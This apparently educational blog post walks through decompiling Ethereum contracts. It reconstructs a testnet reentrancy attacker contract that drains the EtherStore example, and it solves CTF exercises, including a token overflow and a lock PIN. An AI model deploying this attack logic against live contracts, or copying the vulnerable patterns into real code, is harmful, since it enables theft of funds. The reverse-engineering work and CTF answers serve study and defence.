author:Thomas_Xu
逆向分析
区块链上所有的数据都是公开透明的,所以合约的代码也都是公开的。但是其实它公开的都是经过编译的OPCODE,真正的源代码公开与否就得看发布合约的人了。
如果要真正的掌握一个合约会干什么,就得从OPCODE逆向成solidity代码。
工欲善其事,必先利其器solidity智能合约逆向工具推荐:https://ethervm.io/decompile
https://contract-library.com/
https://github.com/crytic/ida-evm
https://github.com/comaeio/porosity
https://github.com/meyer9/ethdasm
这里我选择工具 https://ethervm.io/decompile
尽量选择把合约部署到链上后使用地址的方式去逆向,否则可能只会得到合约的Disassembly
结果。
重入事件逆向分析
本文选择测试网络进行一次重入漏洞攻击复现的逆向分析。
漏洞合约地址:Contract Address 0x8872be6d31f2ec0169e5e3e69e5cae8823d358af | Etherscan
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| pragma solidity ^0.4.17; contract EtherStore{ uint256 public withdrawaLimit = 1 ether; mapping(address => uint256) public lastWithdrawTime; mapping(address => uint256) public balances; function depositFunds() public payable { balances[msg.sender] += msg.value; } function withdrawFunds (uint256 _weiToWithdraw) public { require(balances[msg.sender] >= _weiToWithdraw); require(_weiToWithdraw <= withdrawaLimit); require(now >= lastWithdrawTime[msg.sender] + 1 weeks); require(msg.sender.call.value(_weiToWithdraw)()); balances[msg.sender] -= _weiToWithdraw; lastWithdrawTime[msg.sender] = now; } }
|
通过查询合约内部交易可以发现
可疑地址 0x2409fE8CCabe32F7AEbA8b34DA111A990b5A3E40
交易哈希 0x80270b685344fc5005f4969ef6bd545a614cd6e2fc92b9508cfed5266368062f
通过分析imput Data可以发现攻击者应该是调用0x6289d385
这个函数进行攻击的。
接下来对攻击合约OPOCDE进行逆向分析
逆向结果:
得到的伪代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147
| contract Contract { function main() { memory[0x40:0x60] = 0x80; if (msg.data.length < 0x04) { label_0057:
if (address(storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff).balance <= 0x0de0b6b3a7640000) { stop(); } var var0 = storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff; var var1 = 0x155dd5ee; var temp0 = memory[0x40:0x60]; memory[temp0:temp0 + 0x20] = (var1 & 0xffffffff) * 0x0100000000000000000000000000000000000000000000000000000000; var temp1 = temp0 + 0x04; memory[temp1:temp1 + 0x20] = 0x0de0b6b3a7640000; var var2 = temp1 + 0x20; var var3 = 0x00; var var4 = memory[0x40:0x60]; var var5 = var2 - var4; var var6 = var4; var var7 = 0x00; var var8 = var0; var var9 = !address(var8).code.length; if (var9) { revert(memory[0x00:0x00]); } var temp2; temp2, memory[var4:var4 + var3] = address(var8).call.gas(msg.gas).value(var7)(memory[var6:var6 + var5]); var3 = !temp2; if (!var3) { stop(); } var temp3 = returndata.length; memory[0x00:0x00 + temp3] = returndata[0x00:0x00 + temp3]; revert(memory[0x00:0x00 + returndata.length]); } else { var0 = msg.data[0x00:0x20] / 0x0100000000000000000000000000000000000000000000000000000000 & 0xffffffff; if (var0 == 0x6289d385) { var1 = 0x015a; func_01CA(); stop(); } else if (var0 == 0xacd2e6e5) { var1 = msg.value; if (var1) { revert(memory[0x00:0x00]); } var1 = 0x0171; var2 = func_0339(); var temp4 = memory[0x40:0x60]; memory[temp4:temp4 + 0x20] = var2 & 0xffffffffffffffffffffffffffffffffffffffff; var temp5 = memory[0x40:0x60]; return memory[temp5:temp5 + (temp4 + 0x20) - temp5]; } else if (var0 == 0xff11e1db) { var1 = msg.value; if (var1) { revert(memory[0x00:0x00]); } var1 = 0x01c8; collectEther(); stop(); } else { goto label_0057; } } } function func_01CA() { if (msg.value < 0x0de0b6b3a7640000) { revert(memory[0x00:0x00]); } var var0 = storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff; var var1 = 0xe2c41dbc; var var2 = 0x0de0b6b3a7640000; var temp0 = memory[0x40:0x60]; memory[temp0:temp0 + 0x20] = (var1 & 0xffffffff) * 0x0100000000000000000000000000000000000000000000000000000000; var var3 = temp0 + 0x04; var var4 = 0x00; var var5 = memory[0x40:0x60]; var var6 = var3 - var5; var var7 = var5; var var8 = var2; var var9 = var0; var var10 = !address(var9).code.length; if (var10) { revert(memory[0x00:0x00]); } var temp1; temp1, memory[var5:var5 + var4] = address(var9).call.gas(msg.gas).value(var8)(memory[var7:var7 + var6]); var4 = !temp1; if (!var4) { var0 = storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff; var1 = 0x155dd5ee; var temp2 = memory[0x40:0x60]; memory[temp2:temp2 + 0x20] = (var1 & 0xffffffff) * 0x0100000000000000000000000000000000000000000000000000000000; var temp3 = temp2 + 0x04; memory[temp3:temp3 + 0x20] = 0x0de0b6b3a7640000; var2 = temp3 + 0x20; var3 = 0x00; var4 = memory[0x40:0x60]; var5 = var2 - var4; var6 = var4; var7 = 0x00; var8 = var0; var9 = !address(var8).code.length; if (var9) { revert(memory[0x00:0x00]); } var temp4; temp4, memory[var4:var4 + var3] = address(var8).call.gas(msg.gas).value(var7)(memory[var6:var6 + var5]); var3 = !temp4; if (!var3) { return; } var temp5 = returndata.length; memory[0x00:0x00 + temp5] = returndata[0x00:0x00 + temp5]; revert(memory[0x00:0x00 + returndata.length]); } else { var temp6 = returndata.length; memory[0x00:0x00 + temp6] = returndata[0x00:0x00 + temp6]; revert(memory[0x00:0x00 + returndata.length]); } } function func_0339() returns (var r0) { return storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff; } function collectEther() { var temp0 = address(address(this)).balance; var temp1 = memory[0x40:0x60]; var temp2;
temp2, memory[temp1:temp1 + 0x00] = address(msg.sender).call.gas(!temp0 * 0x08fc).value(temp0)(memory[temp1:temp1 + memory[0x40:0x60] - temp1]); var var0 = !temp2; if (!var0) { return; } var temp3 = returndata.length; memory[0x00:0x00 + temp3] = returndata[0x00:0x00 + temp3]; revert(memory[0x00:0x00 + returndata.length]); } }
|
主函数
接下来,先从主函数开始分析:
主函数是合约在每次被调用时都会被执行的函数,此函数只存在于底层逻辑中,是函数调用的关键,可以理解为“转接电话”的功能。
开辟空间:
1
| memory[0x40:0x60] = 0x80;
|
如果消息发送者携带消息长度小于0x04执行后面的内容,一般是回退函数
1
| if (msg.data.length < 0x04){
|
地址余额小于等于 1eth 停止执行
1
| if (address(storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff).balance <= 0x0de0b6b3a7640000) { stop(); }
|
接下来一段主要设置后续操作需要的信息,主要内容有 地址、需要调用的函数签名、1eth值、地址空代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| var var0 = storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff;//地址 var var1 = 0x155dd5ee;//需要调用的函数签名 var temp0 = memory[0x40:0x60]; memory[temp0:temp0 + 0x20] = (var1 & 0xffffffff) * 0x0100000000000000000000000000000000000000000000000000000000; var temp1 = temp0 + 0x04; memory[temp1:temp1 + 0x20] = 0x0de0b6b3a7640000;//1eth值 var var2 = temp1 + 0x20; var var3 = 0x00; var var4 = memory[0x40:0x60]; var var5 = var2 - var4; var var6 = var4; var var7 = 0x00; var var8 = var0; var var9 = !address(var8).code.length;//地址空代码
|
对地址是否为空代码的判断,如果是回滚初始状态
1
| if (var9) { revert(memory[0x00:0x00]); }
|
向地址发送值为1eth的 0x155dd5ee
函数调用信息,并返回信息
1 2 3 4 5 6 7 8 9
| var temp2; temp2, memory[var4:var4 + var3] = address(var8).call.gas(msg.gas).value(var7)(memory[var6:var6 + var5]); var3 = !temp2; if (!var3) { stop(); } var temp3 = returndata.length; memory[0x00:0x00 + temp3] = returndata[0x00:0x00 + temp3]; revert(memory[0x00:0x00 + returndata.length]);
|
接收消息调用者携带的信息
1 2
| else { var0 = msg.data[0x00:0x20] / 0x0100000000000000000000000000000000000000000000000000000000 & 0xffffffff;
|
后面的代码内容基本就是通过消息调用者携带的信息判断调用的函数,其中没有if (var1) { revert(memory[0x00:0x00]); }
的函数能接收以太币。
函数func_01CA()
消息调用者携带的金额价值小于 1eth 回滚初始状态
1
| if (msg.value < 0x0de0b6b3a7640000) { revert(memory[0x00:0x00]); }
|
接下来的代码与回退函数内容极其相似就是调用函数,从内容上看这次它调用了两个函数分别是0xe2c41dbc
, 0x155dd5ee
在调用 0xe2c41dbc
函数的时候信息 value 1eth data 0
在调用 0x155dd5ee
函数的时候信息 value 0 data 1eth
最后返回调用信息。
函数func_0339()
返回地址信息
1
| return storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff;
|
函数collectEther()
设置信息,该合约余额 、新空间
1 2
| var temp0 = address(address(this)).balance; var temp1 = memory[0x40:0x60];
|
向消息调用者发送该合约余额,注意这里对gas做了限制 (!temp0 * 0x08fc)
其实这里包括后面的代码就是transfer()的功能
1 2 3 4 5 6
| temp2, memory[temp1:temp1 + 0x00] = address(msg.sender).call.gas(!temp0 * 0x08fc).value(temp0)(memory[temp1:temp1 + memory[0x40:0x60] - temp1]); var var0 = !temp2; if (!var0) { return; }
|
最后返回调用信息。
还原代码
我们可以通过 https://www.4byte.directory/ 在线查询 函数签名对应的函数名称,有助于我们理解函数
还原后:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| contract At{ function func_0339() public returns (var r0) { return storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff; } function func_01CA() public payable{ require(msg.value >= 1 ether); storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff.depositFunds.value(1 ether)(); storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff.withdrawFunds(1 ether); } function collectEther() public { msg.sender.transfer(this.balance); } function () payable { if (storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff.balance > 1 ether) { storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff.withdrawFunds(1 eth); } } }
|
storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff
其实等价于漏洞合约地址0x8872bE6d31F2Ec0169e5E3E69e5CAe8823d358aF
0x03 综合分析
总结攻击流程
第一阶段 黑客调用 func_01CA
函数,
func_01CA
函数作用:
1.向漏洞合约的 depositFunds
函数发送 1eth
2.向漏洞合约的 withdrawFunds
函数发出撤走 1eth 的请求
第二阶段 当漏洞合约的 withdrawFunds
函数 进入到发送金额的时候 由于使用的是 call 函数 转账,会附加”所有可用 gas”,并触发攻击合约的 fallback函数
第三阶段 当攻击合约的 fallback
函数 被触发后,首先会对漏洞合约的余额进行判断,如果大于 1eth 就重新调用漏洞合约的 withdrawFunds
函数 ,由于withdrawFunds
函数最后两步才会减去msg.sender
对应的余额并记录,导致fallback
函数发起的调用withdrawFunds
函数的信息require判断都能通过,直到漏洞合约的余额小于等于 1eth。
第四阶段 黑客调用 collectEther
函数 取走攻击合约余额。
练手1
1 2 3 4 5 6 7 8 9 10 11 12
| contract Demo { uint256 private c;
function a() public returns (uint256) { factorial(2); } function b() public { c++; }
function factorial(uint n) internal returns (uint256) { if (n <= 1) { return 1; }
return n * factorial(n - 1); } }
|
得到的伪代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| contract Contract { function main() { memory[0x40:0x60] = 0x80; if (msg.data.length < 0x04) { revert(memory[0x00:0x00]); } var var0 = msg.data[0x00:0x20] / 0x0100000000000000000000000000000000000000000000000000000000 & 0xffffffff; if (var0 == 0x0dbe671f) { // Dispatch table entry for a() var var1 = msg.value; if (var1) { revert(memory[0x00:0x00]); } var1 = 0x60; var1 = a(); var temp0 = memory[0x40:0x60]; memory[temp0:temp0 + 0x20] = var1; var temp1 = memory[0x40:0x60]; return memory[temp1:temp1 + (temp0 + 0x20) - temp1]; } else if (var0 == 0x4df7e3d0) { // Dispatch table entry for b() var1 = msg.value; if (var1) { revert(memory[0x00:0x00]); } var1 = 0x88; b(); stop(); } else { revert(memory[0x00:0x00]); } } function a() returns (var r0) { var var0 = 0x00; var var1 = 0x94; var var2 = 0x02; var1 = func_00AB(var2); return var0; } function b() { storage[0x00] = storage[0x00] + 0x01; } function func_00AB(var arg0) returns (var r0) { var var0 = 0x00; if (arg0 > 0x01) { var var1 = 0xc8; var var2 = arg0 - 0x01; var1 = func_00AB(var2); var0 = arg0 * var1; label_00CD: return var0; } else { var0 = 0x01; goto label_00CD; } } }
|
因为这个合约很简单,所以这个伪代码也不难。
开辟空间
1
| memory[0x40:0x60] = 0x80;
|
检查输入的的data是不是符合函数签名:
1
| if (msg.data.length < 0x04) { revert(memory[0x00:0x00]); }
|
这里我们不需要知道内部原理,只需要知道这样得到的var0是函数4个bytes的签名即可
1
| var var0 = msg.data[0x00:0x20] / 0x0100000000000000000000000000000000000000000000000000000000 & 0xffffffff;
|
后面的代码都是根据var0的函数签名选择调用哪个函数
尝试着写出还原后的代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| contract gogogo{ function a() public returns(uint) { func_009E(2) return 0 } function b()public { storage[0x00] += 0x01; return 0;//和stop()等价 } function func_009E( arg0) returns ( r0){ if(arg0<=1) { return 1; } return arg0*func_009E(arg0-1) } }
|
练手2
一个有漏洞的合约
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| pragma solidity ^0.4.21; contract TokenSaleChallenge { mapping(address => uint256) public balanceOf; uint256 constant PRICE_PER_TOKEN = 1 ether; function TokenSaleChallenge(address _player) public payable { require(msg.value == 1 ether); } function isComplete() public view returns (bool) { return address(this).balance < 1 ether; } function buy(uint256 numTokens) public payable { require(msg.value == numTokens * PRICE_PER_TOKEN); balanceOf[msg.sender] += numTokens; } function sell(uint256 numTokens) public { require(balanceOf[msg.sender] >= numTokens); balanceOf[msg.sender] -= numTokens; msg.sender.transfer(numTokens * PRICE_PER_TOKEN); } }
|
反编译后:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93
| contract Contract { function main() { memory[0x40:0x60] = 0x80; if (msg.data.length < 0x04) { revert(memory[0x00:0x00]); } var var0 = msg.data[0x00:0x20] / 0x0100000000000000000000000000000000000000000000000000000000 & 0xffffffff; if (var0 == 0x70a08231) { // Dispatch table entry for balanceOf(address) var var1 = msg.value; if (var1) { revert(memory[0x00:0x00]); } var1 = 0x00a8; var var2 = msg.data[0x04:0x24] & 0xffffffffffffffffffffffffffffffffffffffff; var2 = balanceOf(var2); var temp0 = memory[0x40:0x60]; memory[temp0:temp0 + 0x20] = var2; var temp1 = memory[0x40:0x60]; return memory[temp1:temp1 + (temp0 + 0x20) - temp1]; } else if (var0 == 0xb2fa1c9e) { // Dispatch table entry for isComplete() var1 = msg.value; if (var1) { revert(memory[0x00:0x00]); } var1 = 0x00d3; var1 = isComplete(); var temp2 = memory[0x40:0x60]; memory[temp2:temp2 + 0x20] = !!var1; var temp3 = memory[0x40:0x60]; return memory[temp3:temp3 + (temp2 + 0x20) - temp3]; } else if (var0 == 0xd96a094a) { // Dispatch table entry for buy(uint256) var1 = 0x010b; var2 = msg.data[0x04:0x24]; buy(var2); stop(); } else if (var0 == 0xe4849b32) { // Dispatch table entry for sell(uint256) var1 = msg.value; if (var1) { revert(memory[0x00:0x00]); } var1 = 0x0138; var2 = msg.data[0x04:0x24]; sell(var2); stop(); } else { revert(memory[0x00:0x00]); } } function balanceOf(var arg0) returns (var arg0) { memory[0x20:0x40] = 0x00; memory[0x00:0x20] = arg0; return storage[keccak256(memory[0x00:0x40])]; } function isComplete() returns (var r0) { return address(this).balance < 0x0a; } function buy(var arg0) { if (msg.value != arg0 * 0x0a) { revert(memory[0x00:0x00]); } memory[0x00:0x20] = msg.sender; memory[0x20:0x40] = 0x00; var temp0 = keccak256(memory[0x00:0x40]); storage[temp0] = storage[temp0] + arg0; } function sell(var arg0) { memory[0x00:0x20] = msg.sender; memory[0x20:0x40] = 0x00; if (storage[keccak256(memory[0x00:0x40])] < arg0) { revert(memory[0x00:0x00]); } var temp0 = arg0; memory[0x00:0x20] = msg.sender; memory[0x20:0x40] = 0x00; var temp1 = keccak256(memory[0x00:0x40]); storage[temp1] = storage[temp1] - temp0; var temp2 = temp0 * 0x0a; var temp3 = memory[0x40:0x60]; var temp4; temp4, memory[temp3:temp3 + 0x00] = address(msg.sender).call.gas(!temp2 * 0x08fc).value(temp2)(memory[temp3:temp3 + memory[0x40:0x60] - temp3]); var var0 = !temp4; if (!var0) { return; } var temp5 = returndata.length; memory[0x00:0x00 + temp5] = returndata[0x00:0x00 + temp5]; revert(memory[0x00:0x00 + returndata.length]); } }
|
首先看balanceOf(address)
,这里需要知道映射的储存方式,映射mapping 中的键 k
所对应的值会位于 keccak256(k.p)
, 其中 .
是连接符。
通过var2在定义的时候& 0xffffffffffffffffffffffffffffffffffffffff
可以确定var2是address
类型(160位),传入balanceOf()后可以发现返回storage[keccak256(address+0x00)]
,从+0x00
可以看出来这就是最开始就定义的从地址到某个类型(分析其他地方可得出)的映射。
isComplete()非常明了了,直接跳过。
buy(arg0)第一行明显要我们传入 arg0 数量的 ether 进去,这里可以还原成require()
下面的代码把arg0加到上面的映射中。再结合函数名(这次运气好函数名都有)可以猜出这个合约到底要干啥了。
sell()里要注意的是 memory[temp3:temp3 + 0x00] = address(temp0).call.gas(!temp4 * 0x08fc).value(temp4)(memory[temp3:temp3 + 0x00]);
这一行包括下面的代码都是代表一个transfer(),因为transfer要处理返回值,所以分开写看起来比较多。这里我们可以看到安全的transfer也是通过.call.value来实现的,只不过对gas做了严格控制,杜绝重入漏洞。
试着写一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| contract gogogo{
function balanceOf(address add)public returns (){ return storage[keccak256(add+0x00)]; //映射的储存方法 //也就是 mapping(address => uint256) public balanceOf; } function isComplete(){ return address(this).balance < 1 ether; } function buy( arg0)public { require(msg.value==arg0*1 ether); mapping[msg.sender] += arg0; } function sell( arg0)public{ require(mapping[msg.sender]>=arg0) mapping[msg.sender] -=arg0; msg.sender.transfer(arg0 * 1 ehter); } }
|
最后说一下,这段代码是有个溢出漏洞,在require(msg.value==arg0*1 ether);
处,可以绕过。
实操
一道没有源码的逆向题The Lock
,已知信息:解锁这个合约就胜利,函数签名unlock(bytes4 pincode),每次尝试支付0.5 ehter。
反编译后:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85
| contract Contract { function main() { memory[0x40:0x60] = 0x60;
if (msg.data.length < 0x04) { revert(memory[0x00:0x00]); }
var var0 = msg.data[0x00:0x20] / 0x0100000000000000000000000000000000000000000000000000000000 & 0xffffffff;
if (var0 == 0x6a5e2650) { if (msg.value) { revert(memory[0x00:0x00]); }
var var1 = 0x0064; var var2 = unlocked(); var temp0 = memory[0x40:0x60]; memory[temp0:temp0 + 0x20] = !!var2; var temp1 = memory[0x40:0x60]; return memory[temp1:temp1 + (temp0 + 0x20) - temp1]; } else if (var0 == 0x75a4e3a0) { var1 = 0x00b3; var2 = msg.data[0x04:0x24] & ~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffff; var1 = func_00DF(var2); var temp2 = memory[0x40:0x60]; memory[temp2:temp2 + 0x20] = !!var1; var temp3 = memory[0x40:0x60]; return memory[temp3:temp3 + (temp2 + 0x20) - temp3]; } else { revert(memory[0x00:0x00]); } }
function unlocked() returns (var r0) { return storage[0x00] & 0xff; } function func_00DF(var arg0) returns (var r0) { var var0 = 0x00; var var1 = var0; var var2 = 0x00; var var3 = var2; var var4 = 0x00; var var5 = var4;
if (msg.value < 0x06f05b59d3b20000) { revert(memory[0x00:0x00]); }
var3 = 0x00;
if (var3 & 0xff >= 0x04) { label_01A4:
if (var2 != var1) { return 0x00; }
storage[0x00] = (storage[0x00] & ~0xff) | 0x01; return 0x01; } else { label_0111: var var6 = arg0; var var7 = var3 & 0xff;
if (var7 >= 0x04) { assert(); }
var4 = (byte(var6, var7) * 0x0100000000000000000000000000000000000000000000000000000000000000) / 0x0100000000000000000000000000000000000000000000000000000000000000; var6 = var4 >= 0x30;
if (!var6) { if (!var6) { label_0197: var3 = var3 + 0x01;
label_0104:
if (var3 & 0xff >= 0x04) { goto label_01A4; } else { goto label_0111; } } else { label_0181: var temp0 = var4 - 0x30; var5 = temp0; var2 = var2 + var5 ** 0x04; var1 = var1 * 0x0a + var5; var3 = var3 + 0x01; goto label_0104; } } else if (var4 > 0x39) { goto label_0197; } else { goto label_0181; } } } }
|
先修正一个错误!反编译后的byte(var6, var7)
里两个参数的位置是错误的,byte(var7, var6)
应该是这样.这个地方搞了我好久,但是人家也标注了工具是”experimental”性质的嘛。byte()的作用是把栈顶替换成栈顶下面一个元素的第栈顶值个字节的值。byte()的作用
整体看下来目的比较明确,就是要通过func_00DF(var arg0)
函数把storage[0x00]
改为1,使unlocked()
返回1即可。,发现进入label_104
代码段后会进入一个大循环。
在循环中,开门先判断 var7>=4
,下面又使var4
为输入的第var7个字节。var6判断这个字节是不是大于0x30
,可以猜出来出来0x30是0的ASCII码,应该有点关系。发现当var6为1时,会判断var4是否大于0x39
,这不就是9的ascii码么.然后我们从label_0197
开始看,发现如果不符合要求var3自加一后会继续循环,直到它为4时进入可以改变storage[0x00]
的代码段。再看一下label_0181
代码段,这里就是把提取出的单字节字符转换成数字后,var2
加上它的4次方,var1
加上它的10倍。
分析到这里,就可以试着写一下大致逻辑了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| contract gogogo{ uint8 isunLocke; function unlocked() public { return isunLocke; } function unlock(arg0) payable public{ require(msg.sender.value>=0.5 ether); for(i = 0; i < 4; i++ ){ chr = byte(i,arg0) if(chr < 0x30 || chr > 0x39 ){ continue; } number = chr - 0x30 var2 = var2 + number**4 var1 = var1 + number*10 } if(var2 != var1){ return } isunLocke = 1; } }
|
可以看出,我们要提供各位4次方之和为它本身的数字。稍稍爆破一下就有1634可以满足
true
This is copyright.